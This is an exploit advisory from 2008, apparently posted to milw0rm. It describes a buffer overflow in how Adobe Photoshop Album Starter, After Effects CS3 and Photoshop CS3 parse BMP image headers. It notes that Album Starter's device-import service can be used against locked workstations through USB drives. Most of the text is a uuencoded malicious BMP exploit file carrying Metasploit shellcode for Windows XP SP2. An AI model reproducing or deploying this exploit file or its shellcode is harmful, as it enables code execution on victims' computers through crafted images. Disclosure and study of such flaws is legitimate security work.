175 lines
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9.2 KiB
Text
175 lines
No EOL
9.2 KiB
Text
Exploitable issue in various Adobe products
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c0ntex (c0ntexb@gmail.com) Scott Laurie
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February 2008
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Vulnerable applications, tested:
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Adobe Photoshop Album Starter
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Adobe After Effects CS3
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Adobe Photoshop CS3
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Not Vulnerable applications, tested:
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Adobe Reader
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Adobe Flash Player
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This bug is related to the parsing of header images, in that the applications
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do not verify that the image header is valid before trying to render it. This
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leaves an opportunity to cause an unchecked buffer overflow and allow for the
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execution of malicious code.
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All the issues are standard local overflows whereby an attacker can exploit a
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machine after sending the malicious image to the user, or by placing the image
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on a web site or email and waiting for a user to view it in one of the effected
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products.
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One fun thing with Album Starter is that it will run a service which will look
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for new devices being attached to the system, things like cameras or USB drives
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and when one is found it will check the device for image files. If some are
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found, the application will auto-run and import the images and thus allow the
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attacker to exploit locked workstations.. pretty lame but fun :)
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There is a caveats to the bug as the shellcode and return address need to be 4
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byte values. Thus a return address of 0x41424344 needs to be in the following
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format: "\x44\x44\x44\x44\x43\x43\x43\x43\x42\x42\x42\x42\x41\x41\x41\x41"
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Exploit attached for Album Starter 3.2 on Windows XP SP2 to pop calc.exe:
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Used shellcode is taken from the Metasploit project.
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begin 644 Adobe_AS_Exploit.bmp
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M0DTV`````````#8````H````0`8``+`$```!``@`04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04'\:NM-Z/G___]@BVPD)(M%/(M\!7@![XM/
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M&(M?(`'K28LTBP'N,<"9K(3`="#!R@T*`<+K]#M4)"AUY8M?)`'K9HL,2XM?
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M'`'K`RR+B6PD'&'#,=MDBT,PBT`,BW`<K8M`"%YHCDX.[%#_UF939F@S,FAW
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M<S)?5/_0:,OM_#M0_]9?B>5F@>T(`E5J`O_0:-D)]:U7_]934U-34T-30U/_
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MT&9H!-)F4XGAE6BD&G#'5__6:A!15?_0:*2M+NE7_]935?_0:.5)ADE7_]90
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M5%15_]"3:.=YQGE7_]95_]!F:F1F:&-MB>5J4%DIS(GG:D2)XC'`\ZK^0BW^
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M0BR3C7HXJZNK:'+^LQ;_=43_UEM74E%146H!45%54?_0:*W9!<Y3_]9J__\W
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M_]"+5_R#Q&3_UE+_T&CPB@1?4__6_]``04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
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M0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D-#0T-#0T-#0T-#0T-#
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M0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#Z^OKZP0$!`20D)"0
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MD)"0D&9F9F9=75U=L+"PL&%A86&0D)"0D)"0D)"0D)"0D)"0,S,S,\G)R<F#
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M@X.#Z>GIZ=W=W=W9V=G9[N[N[MG9V=ET='1T)"0D)/3T]/1;6UM;@8&!@7-S
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M<W,3$Q,36EI:6N[N[NXG)R<GBHJ*BH.#@X/KZ^OK_/S\_.+BXN+T]/3TIJ:F
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MI@8&!@9C8V-CBHJ*BEI:6EKN[N[NK*RLK,_/S\]F9F9F965E95M;6UN/CX^/
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MP\/#T='1T=K:VMJLK*RLBXN+B[2TM+3?W]_?Y^?GYQ,3$Q/V]O;V:FIJ:N?G
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MY^?^_O[^75U=72\O+R_M[>WMAX>'AUM;6ULL+"PLS,S,S'Y^?GYA86%ANKJZ
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MN@,#`P..CHZ.+R\O+PL+"PNLK*RLU=75U7Y^?G[O[^_OS,S,S.SL[.S1T='1
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MXN+BXFQL;&P!`0$!!04%!?+R\O(F)B8F86%A8='1T='R\O+RK*RLK(N+BXNQ
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ML;&Q9V=G9WM[>WNNKJZN7EY>7BTM+2T6%A862DI*2CX^/CYE965E9V=G9[JZ
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MNKK?W]_?+BXN+E]?7U^&AH:&T='1T:ZNKJXK*RLK`0$!`2HJ*BKR\O+RBHJ*
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MB@$!`0$R,C(RYN;FYLS,S,R#@X.#T='1T6YN;FZ7EY>7BHJ*BEI:6EKN[N[N
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MK*RLK.+BXN)F9F9FL;&QL186%A9\?'Q\.CHZ.KBXN+BNKJZN<G)R<MG9V=DN
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M+BXN7%Q<7-K:VMHR,C(R'AX>'JVMK:V.CHZ.!04%!8:&AH:_O[^_='1T=-#0
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MT-#@X.#@<'!P<'5U=76]O;V]C8V-C49&1D;FYN;F.3DY.<#`P,!"0D)"\O+R
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1\C\_/S_N[N[N)R<G)XJ*BHH`
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`
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end
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regards
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c0ntex
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# milw0rm.com [2008-04-21] |